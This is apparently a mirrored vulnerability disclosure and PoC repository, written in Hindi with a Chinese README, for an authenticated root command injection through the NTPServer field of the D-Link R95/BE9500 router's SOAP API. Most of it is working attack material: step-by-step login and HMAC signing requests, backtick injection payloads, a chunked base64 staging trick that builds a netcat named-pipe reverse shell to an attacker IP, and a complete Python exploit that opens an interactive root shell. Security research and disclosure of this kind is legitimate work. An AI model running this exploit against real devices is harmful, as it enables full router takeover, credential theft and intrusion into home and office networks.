
D-Link R95/BE9500 DHMAPI SetTimeSettings के लिए प्रमाणित कमांड इंजेक्शन PoC, जो NTPServer बैकटिक इंजेक्शन के माध्यम से root RCE प्राप्त करता है, पूर्ण exploit स्क्रिप्ट के साथ।
D-Link R95 BE9500 Wi-Fi 7 स्मार्ट राउटर (फर्मवेयर संस्करण BE9500_1.00.16) में DHMAPI (SOAP over HTTPS) इंटरफ़ेस में SetTimeSettings अनुरोधों को संसाधित करते समय एक कमांड इंजेक्शन भेद्यता मौजूद है। उपयोगकर्ता-नियंत्रित <NTPServer> फ़ील्ड को कॉन्फ़िगरेशन डेटाबेस में shell मेटाकैरेक्टर के किसी भी सैनिटाइज़ेशन या सत्यापन के बिना संग्रहीत किया जाता है। इसके बाद, जब कॉन्फ़िगरेशन को UCI (ntpclient.@ntpserver[0].hostname) में सिंक्रनाइज़ किया जाता है, तो भेद्य बैकएंड सेवा एक system()-जैसे कॉल के माध्यम से डबल कोट्स में संलग्न एक shell कमांड का निर्माण और निष्पादन करती है। <NTPServer> मान में बैकटिक्स (```) इंजेक्ट करके, एक हमलावर कमांड प्रतिस्थापन प्राप्त कर सकता है — shell संयोजित कमांड को निष्पादित करने से पहले इंजेक्ट की गई सामग्री का मूल्यांकन करता है, जिससे root (uid=0) विशेषाधिकारों के साथ मनमाना कमांड निष्पादन संभव हो जाता है।
इस हमले के लिए प्रमाणित पहुँच (व्यवस्थापक खाते Admin के साथ परीक्षण किया गया) के माध्यम से प्राप्त एक वैध वेब प्रबंधन सत्र (sid) की आवश्यकता होती है। यह भेद्यता डिवाइस के कमज़ोर डिफ़ॉल्ट क्रेडेंशियल्स या संभावित प्रमाणीकरण बायपास समस्याओं द्वारा और अधिक बढ़ जाती है, जिससे वास्तविक दुनिया का हमला सतह काफी बढ़ जाता है।
एक प्रमाणित हमलावर root विशेषाधिकारों के साथ मनमाना कमांड निष्पादित कर सकता है, जिससे डिवाइस का पूर्ण समझौता हो जाता है — जिसमें संवेदनशील फ़ाइलें पढ़ना (जैसे, /etc/rg_config/admin सिफरटेक्स्ट, पूर्ण कॉन्फ़िगरेशन बैकअप डंप करना), स्थायी बैकडोर स्थापित करना, रिवर्स शेल स्थापित करना, और पार्श्व गति हमलों के लिए आंतरिक नेटवर्क में प्रवेश करना शामिल है।
भेद्यता वेब प्रबंधन बैकएंड बाइनरी /bin/ssi (जो root के रूप में चलती है) में निहित है, जो DHMAPI SOAP इंटरफ़ेस को लागू करती है।
टेंट स्रोत — SetTimeSettings हैंडलर (ssi में ऑफ़सेट 0x6bd84 पर फ़ंक्शन, फर्मवेयर 1.01B06):
<NTPServer> फ़ील्ड को स्टैक बफ़र में निकालता है, लंबाई 0x3f (63 बाइट्स) तक सीमित — यह बफ़र-आकार की सीमा है, नहीं कि सुरक्षा जाँच।time.value.NTPServer में यथावत संग्रहीत करता है — किसी भी बिंदु पर shell मेटाकैरेक्टर की कोई फ़िल्टरिंग या एस्केपिंग नहीं की जाती है।टेंट सिंक — UCI में कॉन्फ़िगरेशन सिंक्रनाइज़ेशन। ssi कॉन्फ़िगरेशन मानों को shell कमांड स्ट्रिंग्स में संयोजित करके सिंक्रनाइज़ करता है जिन्हें system()-जैसे कॉल के माध्यम से निष्पादित किया जाता है। बाइनरी में पाए गए एम्बेडेड फ़ॉर्मेट स्ट्रिंग्स में शामिल हैं:
uci set %s="%s" > /dev/null
चूँकि मान डबल कोट्स में लिपटा होता है, shell संयोजित कमांड चलाने से पहले मान के अंदर बैकटिक्स (`) / $() पर कमांड प्रतिस्थापन करता है। चूँकि ssi root के रूप में चलता है, इंजेक्ट किया गया कमांड root विशेषाधिकारों के साथ निष्पादित होता है।
समय संबंधी साक्ष्य पुष्टि करते हैं कि मूल्यांकन अनुरोध-प्रबंधन पथ के भीतर समकालिक रूप से होता है: `sleep 10` इंजेक्ट करने से HTTP प्रतिक्रिया ~10 सेकंड तक विलंबित हो जाती है। ज़हरीला मान इसके अतिरिक्त UCI (ntpclient.@ntpserver[0].hostname) में बना रहता है और बाद में /bin/start_ntpclient.sh (ntpclient -s -h $HOSTNAME) द्वारा बिना कोट के उपभोग किया जाता है, जो एक द्वितीयक हार्डनिंग अंतराल है।
शोषण बाधाएँ (सत्यापित):
सभी DHMAPI अनुरोधों में निम्नलिखित होना चाहिए:
Cookie: uid=<session cookie> (लॉगिन से)API-AUTH: <UPPERHEX(HMAC-SHA256(privkey, ts+action))> <ts>API-ACTION / SOAPAction हेडर, साथ ही User-Agent और Referer (UA/Referer अनुपस्थित होने पर HTTP 400/500 मिलता है)ts एक मिलीसेकंड टाइमस्टैम्प है; डिवाइस ताज़गी को मान्य नहीं करता, इसलिए एक निश्चित मान पुनः प्रयोग करने योग्य हैprivkey व्युत्पत्ति:
Login / Action=request (स्थिर कुंजी स्ट्रिंग withoutloginkey के साथ हस्ताक्षरित) Challenge, Cookie, PublicKey, SaltHash लौटाता हैe = base64(PBKDF2-HMAC-SHA256(password, SaltHash, 5000, 32)) (या जब SaltHash अनुपस्थित हो तो सादा पासवर्ड)privkey = UPPERHEX(HMAC-SHA256(key = PublicKey + e, msg = Challenge))LoginPassword = UPPERHEX(HMAC-SHA256(key = privkey, msg = Challenge))Login / Action=login <LoginResult>success</LoginResult> लौटाता है; बाद के अनुरोध privkey के साथ हस्ताक्षरित का उपयोग करते हैंPOST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey="withoutloginkey", ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>request</Action><Username>Admin</Username><LoginPassword></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: Login
API-AUTH: <HMAC(privkey, ts+"Login")> <ts>
SOAPAction: "Login"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<step-1 Cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><Login><Action>login</Action><Username>Admin</Username><LoginPassword><computed per Section 2></LoginPassword><Captcha></Captcha></Login></soap:Body></soap:Envelope>
अपेक्षित: <LoginResult>success</LoginResult>।

POST /DHMAPI/ HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Content-Type: text/xml; charset=utf-8
API-ACTION: SetTimeSettings
API-AUTH: <HMAC(privkey, ts+"SetTimeSettings")> <ts>
SOAPAction: "SetTimeSettings"
Referer: https://192.168.2.254:18443/info/Login.html
Cookie: uid=<session cookie>
Content-Length: <len>
Connection: close
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><SetTimeSettings><NTPServer>`id > /www/m_id.txt`</NTPServer><Enabled>true</Enabled></SetTimeSettings></soap:Body></soap:Envelope>

GET /m_id.txt HTTP/1.1
Host: 192.168.2.254:18443
User-Agent: Mozilla/5.0
Referer: https://192.168.2.254:18443/info/Login.html
Connection: close
देखा गया प्रतिक्रिया निकाय:
uid=0(root) gid=0(root)

<NTPServer>`sleep 10`</NTPServer>
HTTP प्रतिक्रिया ~10 सेकंड तक विलंबित होती है; एक सौम्य NTP सर्वर नाम तुरंत लौटता है।
63-बाइट फ़ील्ड सीमा को base64 टुकड़ों में एक स्क्रिप्ट लिखकर बायपास किया जाता है:
SetTimeSettings अनुरोध, प्रत्येक एक टुकड़ा जोड़ता है:
`echo -n <b64-fragment> >> /tmp/x``base64 -d /tmp/x > /tmp/rs.rs`/tmp/rs.rs सामग्री (busybox ash के लिए पाइप्स के आसपास अनिवार्य रिक्त स्थान पर ध्यान दें):
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i | nc <attacker-ip> 4444 > /tmp/f`sh /tmp/rs.rs`परिणाम: हमलावर के लिसनर पर एक इंटरैक्टिव root शेल (~ #, BusyBox ash) प्राप्त होता है।
EXP:
#!/usr/bin/env python3
# D-Link R95 (FW 1.01B06) SetTimeSettings/NTPServer authenticated command injection - PoC/EXP
# Usage: python r95_exp.py interactive shell (commands run as root on the device)
# python r95_exp.py "id" run a single command
import sys, re, json, hmac, base64, hashlib, time
import urllib3
urllib3.disable_warnings()
import requests
HOST, PORT = "192.168.2.15", 18443 # lab target; use <device-ip>:443 for a real device
USER, PASSWORD = "Admin", "<password>"
BASE = "https://%s:%d" % (HOST, PORT)
TS = "1787052323000" # timestamp freshness is not validated by the device
OUT = "/www/e" # command output dropped into the web root
s = requests.Session(); s.verify = False
privkey = cookie = None
def auth(key, action):
return hmac.new(key.encode(), (TS + action).encode(), hashlib.sha256).hexdigest().upper() + " " + TS
def post(action, inner, key=None, ck=None):
body = ('<?xml version="1.0" encoding="utf-8"?>'
'<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" '
'xmlns:xsd="http://www.w3.org/2001/XMLSchema" '
'xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>'
'<%s>%s</%s></soap:Body></soap:Envelope>' % (action, inner, action))
h = {"API-ACTION": action, "API-AUTH": auth(key or privkey, action),
"Content-Type": "text/xml; charset=utf-8", "User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}
if ck or cookie: h["Cookie"] = "uid=" + (ck or cookie)
return s.post(BASE + "/DHMAPI/", data=body.encode(), headers=h, timeout=30)
def login():
global privkey, cookie
r = post("Login", "<Action>request</Action><Username>%s</Username>"
"<LoginPassword></LoginPassword><Captcha></Captcha>" % USER, key="withoutloginkey")
g = lambda t: (re.search("<%s>(.*?)</%s>" % (t, t), r.text) or [None, ""])[1]
challenge, cookie, pubkey, salthash = g("Challenge"), g("Cookie"), g("PublicKey"), g("SaltHash")
if not challenge:
print("[!] login step 1 failed:", r.status_code, r.text[:200]); sys.exit(1)
e = PASSWORD
if salthash:
e = base64.b64encode(hashlib.pbkdf2_hmac("sha256", PASSWORD.encode(),
salthash.encode(), 5000, dklen=32)).decode()
privkey = hmac.new((pubkey + e).encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
lp = hmac.new(privkey.encode(), challenge.encode(), hashlib.sha256).hexdigest().upper()
r2 = post("Login", "<Action>login</Action><Username>%s</Username>"
"<LoginPassword>%s</LoginPassword><Captcha></Captcha>" % (USER, lp))
if "success" not in r2.text.lower():
print("[!] login failed:", r2.text[:200]); sys.exit(1)
print("[+] login OK, cookie=%s" % cookie)
def inject(cmd):
"""Execute one shell command via the NTPServer backtick injection (no output channel)"""
if "&" in cmd:
print("[!] command must not contain '&'"); return False
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
if r.status_code == 401:
print("[*] session expired, re-authenticating..."); login()
r = post("SetTimeSettings", "<NTPServer>`%s`</NTPServer><Enabled>true</Enabled>" % cmd)
return r.status_code == 200
def run(cmd):
"""Run a command and read back stdout. <=54 bytes: direct injection; longer: chunked base64"""
cmd = cmd.strip()
if not cmd: return
direct = "%s>%s" % (cmd, OUT)
if len(direct) <= 54:
ok = inject(direct)
else:
b64 = base64.b64encode(cmd.encode()).decode()
inject("rm -f /tmp/x")
for i in range(0, len(b64), 40):
if not inject("echo -n %s>>/tmp/x" % b64[i:i+40]):
print("[!] fragment injection failed"); return
inject("base64 -d /tmp/x>/tmp/x.sh")
ok = inject("sh /tmp/x.sh>%s" % OUT)
if not ok:
print("[!] injection request failed"); return
time.sleep(1)
r = s.get(BASE + "/e", headers={"User-Agent": "Mozilla/5.0",
"Referer": BASE + "/info/Login.html"}, timeout=15)
out = r.text.rstrip("\n")
print(out if out else "(no output)")
if __name__ == "__main__":
login()
if len(sys.argv) > 1:
run(" ".join(sys.argv[1:])); sys.exit(0)
print("[*] interactive mode - commands run as root on the device, 'exit' to quit")
while True:
try: c = input("r95# ")
except (EOFError, KeyboardInterrupt): break
if c.strip() in ("exit", "quit"): break
run(c)

ssi NTPServer फ़ील्ड (और उसी हैंडलर में सहोदर फ़ील्ड) को शून्य सैनिटाइज़ेशन के साथ कॉन्फ़िगरेशन डेटाबेस में संग्रहीत करता है;system()-शैली shell स्ट्रिंग संयोजन का उपयोग करता है जिसमें मान डबल कोट्स में लिपटा होता है, जिससे shell मान में बैकटिक्स / $() का मूल्यांकन करता है;ssi root के रूप में चलता है, इसलिए इंजेक्ट किए गए कमांड उच्चतम विशेषाधिकार के साथ निष्पादित होते हैं।यही कोड पैटर्न इस फर्मवेयर में कम से कम 7 अतिरिक्त प्रमाणित कमांड इंजेक्शन बिंदु उत्पन्न करता है (TZLocation, DeviceName, DDNS Hostname/Username, क्लाइंट NickName, और SetNetworkSettings के माध्यम से एक द्वितीय-क्रम इंजेक्शन), सभी uid=0(root) निष्पादन के साथ सत्यापित।
[A-Za-z0-9.-]) लागू करें;system() स्ट्रिंग संयोजन को libuci API (जो पहले से ssi में लिंक है) या shell के बिना exec*-परिवार कॉल से बदलें;/bin/start_ntpclient.sh में $HOSTNAME वेरिएबल को कोट करें;本仓库为 CVE-2026-93958(D-Link R95 / BE9500 DHMAPI 命令注入) 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 D-Link R95 BE9500.md)。内容由上游公开 PoC 仓库镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
SetTimeSettings 请求的 <NTPServer> 字段/bin/ssi核心原理:/bin/ssi 的 SetTimeSettings 处理函数(偏移 0x6bd84)把 <NTPServer> 字段(长度上限 0x3f=63 字节,但无任何 shell 元字符过滤)原样存入配置库;配置同步到 UCI 时,ssi 把值拼进 uci set %s="%s" > /dev/null 这类 shell 字符串并用 system() 执行——值被双引号包裹,shell 会对反引号 / $() 做命令替换,而 ssi 以 root 运行,故注入命令满权限执行。
D-Link R95 BE9500.md —— 上游完整技术分析(含 4 步复现、认证机制、EXP 源码、加固建议)
r95_exp.py —— 从上游报告中提取的完整 Python EXP(requests 实现)
image-*.png —— 上游报告附图(5 张)
requestspython r95_exp.py # 交互式 root shell(命令在设备上以 root 执行)
python r95_exp.py "id" # 执行单条命令
⚠️ 注意:注入字段长度上限约 63 字节,且命令不能含
&;EXP 对 ≤54 字节命令直接注入,更长的命令自动切 base64 分片写入/tmp/x再解码执行,输出写入 Web 根目录/www/e后经 HTTP 取回。
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限在设备上执行任意命令,请在可销毁的实验室环境中测试。
LICENSE)。| बाधा | सत्यापित परिणाम |
|---|
| फ़ील्ड लंबाई | ≤ 63 बाइट्स स्वीकृत; 60 बाइट्स ठीक, 80 बाइट्स अस्वीकृत (HTTP 400) |
& वर्ण | उपस्थित नहीं होना चाहिए (संयोजित कमांड लाइन को तोड़ता है) |
| इंजेक्शन सिंटैक्स | बैकटिक्स `cmd` सत्यापित; $(cmd) समान रूप से काम करने की अपेक्षा |
| निष्पादन संदर्भ | uid=0(root) gid=0(root) |
| आउटपुट चैनल | कोई सीधा echo नहीं; वेब रूट पर रीडायरेक्ट (> /www/<file>) और HTTP GET के माध्यम से पुनः प्राप्त करें |
Cookie: uid=<step-1 Cookie>